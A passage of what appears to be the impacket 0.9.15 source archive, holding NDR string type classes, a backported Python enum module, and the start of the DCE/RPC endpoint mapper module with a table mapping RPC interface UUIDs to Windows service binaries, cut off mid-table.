PCHAR(NDRPOINTER): referent = ( ('Data', CHAR), ) class WIDESTR(NDRUniFixedArray): def getDataLen(self, data): return data.find('\x00\x00\x00')+3 def __setitem__(self, key, value): if key == 'Data': try: self.fields[key] = value.encode('utf-16le') except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') self.data = None # force recompute else: return NDR.__setitem__(self, key, value) def __getitem__(self, key): if key == 'Data': return self.fields[key].decode('utf-16le') else: return NDR.__getitem__(self,key) class STR(NDRSTRUCT): commonHdr = ( ('MaximumCount', ' 4) def _is_sunder(name): """Returns True if a _sunder_ name, False otherwise.""" return (name[0] == name[-1] == '_' and name[1:2] != '_' and name[-2:-1] != '_' and len(name) > 2) def _make_class_unpicklable(cls): """Make the given class un-picklable.""" def _break_on_call_reduce(self): raise TypeError('%r cannot be pickled' % self) cls.__reduce__ = _break_on_call_reduce cls.__module__ = '' class _EnumDict(dict): """Track enum member order and ensure member names are not reused. EnumMeta will use the names found in self._member_names as the enumeration member names. """ def __init__(self): super(_EnumDict, self).__init__() self._member_names = [] def __setitem__(self, key, value): """Changes anything not dundered or not a descriptor. If a descriptor is added with the same name as an enum member, the name is removed from _member_names (this may leave a hole in the numerical sequence of values). If an enum member name is used twice, an error is raised; duplicate values are not checked for. Single underscore (sunder) names are reserved. Note: in 3.x __order__ is simply discarded as a not necessary piece leftover from 2.x """ if pyver >= 3.0 and key == '__order__': return if _is_sunder(key): raise ValueError('_names_ are reserved for future Enum use') elif _is_dunder(key): pass elif key in self._member_names: # descriptor overwriting an enum? raise TypeError('Attempted to reuse key: %r' % key) elif not _is_descriptor(value): if key in self: # enum overwriting a descriptor? raise TypeError('Key already defined as: %r' % self[key]) self._member_names.append(key) super(_EnumDict, self).__setitem__(key, value) # Dummy value for Enum as EnumMeta explicity checks for it, but of course until # EnumMeta finishes running the first time the Enum class doesn't exist. This # is also why there are checks in EnumMeta like `if Enum is not None` Enum = None class EnumMeta(type): """Metaclass for Enum""" @classmethod def __prepare__(metacls, cls, bases): return _EnumDict() def __new__(metacls, cls, bases, classdict): # an Enum class is final once enumeration items have been defined; it # cannot be mixed with other types (int, float, etc.) if it has an # inherited __new__ unless a new __new__ is defined (or the resulting # class will fail). if type(classdict) is dict: original_dict = classdict classdict = _EnumDict() for k, v in original_dict.items(): classdict[k] = v member_type, first_enum = metacls._get_mixins_(bases) #if member_type is object: # use_args = False #else: # use_args = True __new__, save_new, use_args = metacls._find_new_(classdict, member_type, first_enum) # save enum items into separate mapping so they don't get baked into # the new class members = dict((k, classdict[k]) for k in classdict._member_names) for name in classdict._member_names: del classdict[name] # py2 support for definition order __order__ = classdict.get('__order__') if __order__ is None: __order__ = classdict._member_names if pyver < 3.0: order_specified = False else: order_specified = True else: del classdict['__order__'] order_specified = True if pyver < 3.0: __order__ = __order__.replace(',', ' ').split() aliases = [name for name in members if name not in __order__] __order__ += aliases # check for illegal enum names (any others?) invalid_names = set(members) & set(['mro']) if invalid_names: raise ValueError('Invalid enum member name(s): %s' % ( ', '.join(invalid_names), )) # create our new Enum type enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) enum_class._member_names_ = [] # names in random order enum_class._member_map_ = {} # name->value map enum_class._member_type_ = member_type # Reverse value->name map for hashable values. enum_class._value2member_map_ = {} # check for a __getnewargs__, and if not present sabotage # pickling, since it won't work anyway if (member_type is not object and member_type.__dict__.get('__getnewargs__') is None ): _make_class_unpicklable(enum_class) # instantiate them, checking for duplicates as we go # we instantiate first instead of checking for duplicates first in case # a custom __new__ is doing something funky with the values -- such as # auto-numbering ;) if __new__ is None: __new__ = enum_class.__new__ for member_name in __order__: value = members[member_name] if not isinstance(value, tuple): args = (value, ) else: args = value if member_type is tuple: # special case for tuple enums args = (args, ) # wrap it one more time if not use_args or not args: enum_member = __new__(enum_class) if not hasattr(enum_member, '_value_'): enum_member._value_ = value else: enum_member = __new__(enum_class, *args) if not hasattr(enum_member, '_value_'): enum_member._value_ = member_type(*args) value = enum_member._value_ enum_member._name_ = member_name enum_member.__objclass__ = enum_class enum_member.__init__(*args) # If another member with the same value was already defined, the # new member becomes an alias to the existing one. for name, canonical_member in enum_class._member_map_.items(): if canonical_member.value == enum_member._value_: enum_member = canonical_member break else: # Aliases don't appear in member names (only in __members__). enum_class._member_names_.append(member_name) enum_class._member_map_[member_name] = enum_member try: # This may fail if value is not hashable. We can't add the value # to the map, and by-value lookups for this value will be # linear. enum_class._value2member_map_[value] = enum_member except TypeError: pass # in Python2.x we cannot know definition order, so go with value order # unless __order__ was specified in the class definition if not order_specified: enum_class._member_names_ = [ e[0] for e in sorted( [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], key=lambda t: t[1]._value_ )] # double check that repr and friends are not the mixin's or various # things break (such as pickle) if Enum is not None: setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) for name in ('__repr__', '__str__', '__format__'): class_method = getattr(enum_class, name) obj_method = getattr(member_type, name, None) enum_method = getattr(first_enum, name, None) if obj_method is not None and obj_method is class_method: setattr(enum_class, name, enum_method) # method resolution and int's are not playing nice # Python's less than 2.6 use __cmp__ if pyver < 2.6: if issubclass(enum_class, int): setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) elif pyver < 3.0: if issubclass(enum_class, int): for method in ( '__le__', '__lt__', '__gt__', '__ge__', '__eq__', '__ne__', '__hash__', ): setattr(enum_class, method, getattr(int, method)) # replace any other __new__ with our own (as long as Enum is not None, # anyway) -- again, this is to support pickle if Enum is not None: # if the user defined their own __new__, save it before it gets # clobbered in case they subclass later if save_new: setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) setattr(enum_class, '__new__', Enum.__dict__['__new__']) return enum_class def __call__(cls, value, names=None, module=None, type=None): """Either returns an existing member, or creates a new enum class. This method is used both when an enum class is given a value to match to an enumeration member (i.e. Color(3)) and for the functional API (i.e. Color = Enum('Color', names='red green blue')). When used for the functional API: `module`, if set, will be stored in the new class' __module__ attribute; `type`, if set, will be mixed in as the first base class. Note: if `module` is not set this routine will attempt to discover the calling module by walking the frame stack; if this is unsuccessful the resulting class will not be pickleable. """ if names is None: # simple value lookup return cls.__new__(cls, value) # otherwise, functional API: we're creating a new Enum type return cls._create_(value, names, module=module, type=type) def __contains__(cls, member): return isinstance(member, cls) and member.name in cls._member_map_ def __delattr__(cls, attr): # nicer error message when someone tries to delete an attribute # (see issue19025). if attr in cls._member_map_: raise AttributeError( "%s: cannot delete Enum member." % cls.__name__) super(EnumMeta, cls).__delattr__(attr) def __dir__(self): return (['__class__', '__doc__', '__members__', '__module__'] + self._member_names_) @property def __members__(cls): """Returns a mapping of member name->value. This mapping lists all enum members, including aliases. Note that this is a copy of the internal mapping. """ return cls._member_map_.copy() def __getattr__(cls, name): """Return the enum member matching `name` We use __getattr__ instead of descriptors or inserting into the enum class' __dict__ in order to support `name` and `value` being both properties for enum members (which live in the class' __dict__) and enum members themselves. """ if _is_dunder(name): raise AttributeError(name) try: return cls._member_map_[name] except KeyError: raise AttributeError(name) def __getitem__(cls, name): return cls._member_map_[name] def __iter__(cls): return (cls._member_map_[name] for name in cls._member_names_) def __reversed__(cls): return (cls._member_map_[name] for name in reversed(cls._member_names_)) def __len__(cls): return len(cls._member_names_) def __repr__(cls): return "" % cls.__name__ def __setattr__(cls, name, value): """Block attempts to reassign Enum members. A simple assignment to the class namespace only changes one of the several possible ways to get an Enum member from the Enum class, resulting in an inconsistent Enumeration. """ member_map = cls.__dict__.get('_member_map_', {}) if name in member_map: raise AttributeError('Cannot reassign members.') super(EnumMeta, cls).__setattr__(name, value) def _create_(cls, class_name, names=None, module=None, type=None): """Convenience method to create a new Enum class. `names` can be: * A string containing member names, separated either with spaces or commas. Values are auto-numbered from 1. * An iterable of member names. Values are auto-numbered from 1. * An iterable of (member name, value) pairs. * A mapping of member name -> value. """ metacls = cls.__class__ if type is None: bases = (cls, ) else: bases = (type, cls) classdict = metacls.__prepare__(class_name, bases) __order__ = [] # special processing needed for names? if isinstance(names, str): names = names.replace(',', ' ').split() if isinstance(names, (tuple, list)) and isinstance(names[0], str): names = [(e, i+1) for (i, e) in enumerate(names)] # Here, names is either an iterable of (name, value) or a mapping. for item in names: if isinstance(item, str): member_name, member_value = item, names[item] else: member_name, member_value = item classdict[member_name] = member_value __order__.append(member_name) # only set __order__ in classdict if name/value was not from a mapping if not isinstance(item, str): classdict['__order__'] = ' '.join(__order__) enum_class = metacls.__new__(metacls, class_name, bases, classdict) # TODO: replace the frame hack if a blessed way to know the calling # module is ever developed if module is None: try: module = _sys._getframe(2).f_globals['__name__'] except (AttributeError, ValueError): pass if module is None: _make_class_unpicklable(enum_class) else: enum_class.__module__ = module return enum_class @staticmethod def _get_mixins_(bases): """Returns the type for creating enum members, and the first inherited enum class. bases: the tuple of bases that was given to __new__ """ if not bases or Enum is None: return object, Enum # double check that we are not subclassing a class with existing # enumeration members; while we're at it, see if any other data # type has been mixed in so we can use the correct __new__ member_type = first_enum = None for base in bases: if (base is not Enum and issubclass(base, Enum) and base._member_names_): raise TypeError("Cannot extend enumerations") # base is now the last base in bases if not issubclass(base, Enum): raise TypeError("new enumerations must be created as " "`ClassName([mixin_type,] enum_type)`") # get correct mix-in type (either mix-in type of Enum subclass, or # first base if last base is Enum) if not issubclass(bases[0], Enum): member_type = bases[0] # first data type first_enum = bases[-1] # enum type else: for base in bases[0].__mro__: # most common: (IntEnum, int, Enum, object) # possible: (, , # , , # ) if issubclass(base, Enum): if first_enum is None: first_enum = base else: if member_type is None: member_type = base return member_type, first_enum if pyver < 3.0: @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) if __new__: return None, True, True # __new__, save_new, use_args N__new__ = getattr(None, '__new__') O__new__ = getattr(object, '__new__') if Enum is None: E__new__ = N__new__ else: E__new__ = Enum.__dict__['__new__'] # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): try: target = possible.__dict__[method] except (AttributeError, KeyError): target = getattr(possible, method, None) if target not in [ None, N__new__, O__new__, E__new__, ]: if method == '__member_new__': classdict['__new__'] = target return None, False, True if isinstance(target, staticmethod): target = target.__get__(member_type) __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, False, use_args else: @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) # should __new__ be saved as __member_new__ later? save_new = __new__ is not None if __new__ is None: # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): target = getattr(possible, method, None) if target not in ( None, None.__new__, object.__new__, Enum.__new__, ): __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, save_new, use_args ######################################################## # In order to support Python 2 and 3 with a single # codebase we have to create the Enum methods separately # and then use the `type(name, bases, dict)` method to # create the class. ######################################################## temp_enum_dict = {} temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" def __new__(cls, value): # all enum instances are actually created during class construction # without calling this method; this method is called by the metaclass' # __call__ (i.e. Color(3) ), and by pickle if type(value) is cls: # For lookups like Color(Color.red) value = value.value #return value # by-value search for a matching enum member # see if it's in the reverse mapping (for hashable values) try: if value in cls._value2member_map_: return cls._value2member_map_[value] except TypeError: # not there, now do long search -- O(n) behavior for member in cls._member_map_.values(): if member.value == value: return member raise ValueError("%s is not a valid %s" % (value, cls.__name__)) temp_enum_dict['__new__'] = __new__ del __new__ def __repr__(self): return "<%s.%s: %r>" % ( self.__class__.__name__, self._name_, self._value_) temp_enum_dict['__repr__'] = __repr__ del __repr__ def __str__(self): return "%s.%s" % (self.__class__.__name__, self._name_) temp_enum_dict['__str__'] = __str__ del __str__ def __dir__(self): added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) temp_enum_dict['__dir__'] = __dir__ del __dir__ def __format__(self, format_spec): # mixed-in Enums should use the mixed-in type's __format__, otherwise # we can get strange results with the Enum name showing up instead of # the value # pure Enum branch if self._member_type_ is object: cls = str val = str(self) # mix-in branch else: cls = self._member_type_ val = self.value return cls.__format__(val, format_spec) temp_enum_dict['__format__'] = __format__ del __format__ #################################### # Python's less than 2.6 use __cmp__ if pyver < 2.6: def __cmp__(self, other): if type(other) is self.__class__: if self is other: return 0 return -1 return NotImplemented raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__cmp__'] = __cmp__ del __cmp__ else: def __le__(self, other): raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__le__'] = __le__ del __le__ def __lt__(self, other): raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__lt__'] = __lt__ del __lt__ def __ge__(self, other): raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__ge__'] = __ge__ del __ge__ def __gt__(self, other): raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__gt__'] = __gt__ del __gt__ def __eq__(self, other): if type(other) is self.__class__: return self is other return NotImplemented temp_enum_dict['__eq__'] = __eq__ del __eq__ def __ne__(self, other): if type(other) is self.__class__: return self is not other return NotImplemented temp_enum_dict['__ne__'] = __ne__ del __ne__ def __getnewargs__(self): return (self._value_, ) temp_enum_dict['__getnewargs__'] = __getnewargs__ del __getnewargs__ def __hash__(self): return hash(self._name_) temp_enum_dict['__hash__'] = __hash__ del __hash__ # _RouteClassAttributeToGetattr is used to provide access to the `name` # and `value` properties of enum members while keeping some measure of # protection from modification, while still allowing for an enumeration # to have members named `name` and `value`. This works because enumeration # members are not set directly on the enum class -- __getattr__ is # used to look them up. @_RouteClassAttributeToGetattr def name(self): return self._name_ temp_enum_dict['name'] = name del name @_RouteClassAttributeToGetattr def value(self): return self._value_ temp_enum_dict['value'] = value del value Enum = EnumMeta('Enum', (object, ), temp_enum_dict) del temp_enum_dict # Enum has now been created ########################### class IntEnum(int, Enum): """Enum where members are also (and must be) ints""" def unique(enumeration): """Class decorator that ensures only unique members exist in an enumeration.""" duplicates = [] for name, member in enumeration.__members__.items(): if name != member.name: duplicates.append((name, member.name)) if duplicates: duplicate_names = ', '.join( ["%s -> %s" % (alias, name) for (alias, name) in duplicates] ) raise ValueError('duplicate names found in %r: %s' % (enumeration, duplicate_names) ) return enumeration impacket-0.9.15/impacket/dcerpc/v5/epm.py0000600000076500000000000026155612734531507020212 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-RPCE]-C706 Interface implementation for the remote portmapper # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # import socket from struct import unpack from impacket.uuid import uuidtup_to_bin, bin_to_string from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \ NDRUniConformantArray from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT from impacket.structure import Structure from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) class DCERPCSessionError(DCERPCException): error_messages = {} def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) self.error_code = packet['status'] def __str__( self ): key = self.error_code if self.error_messages.has_key(key): error_msg_short = self.error_messages[key] return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short) else: return 'EPM SessionError: unknown error code: %s' % (str(self.error_code)) ################################################################################ # CONSTANTS ################################################################################ KNOWN_UUIDS = { "\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll", "\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll", "\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll", "\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe", "\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll", "\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe", "\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL", "\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe", "\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", "\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe", "\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll", "\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe", "\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll", "\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll", "\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe", "\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll", "\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll", "\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe", "\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll", "\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe", "\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll", "\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe", "\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe", "\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll", "\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll", "\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll", "\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe", "\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll", "\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll", "\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll", "\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll", "\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe", "\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll", "\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll", "\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll", "\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll", "\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe", "\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll", "\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll", "\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll", "\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll", "\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe", "\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll", "\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll", "\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll", "\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll", "\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll", "\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll", "\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll", "\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll", "\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll", "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll", "\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll", "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll", "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe", "\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll", "\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", "\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", "\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE", "\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll", "\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll", "\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe", "\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll", "\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll", "\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll", "\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll", "\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll", "\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll", "\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe", "\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll", "\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe", "\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe", "\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll", "\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll", "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll", "\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe", "\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", "\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe", "\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe", "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe", "\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll", "\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll", "\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll", "\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll", "\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe", "\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll", "\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll", 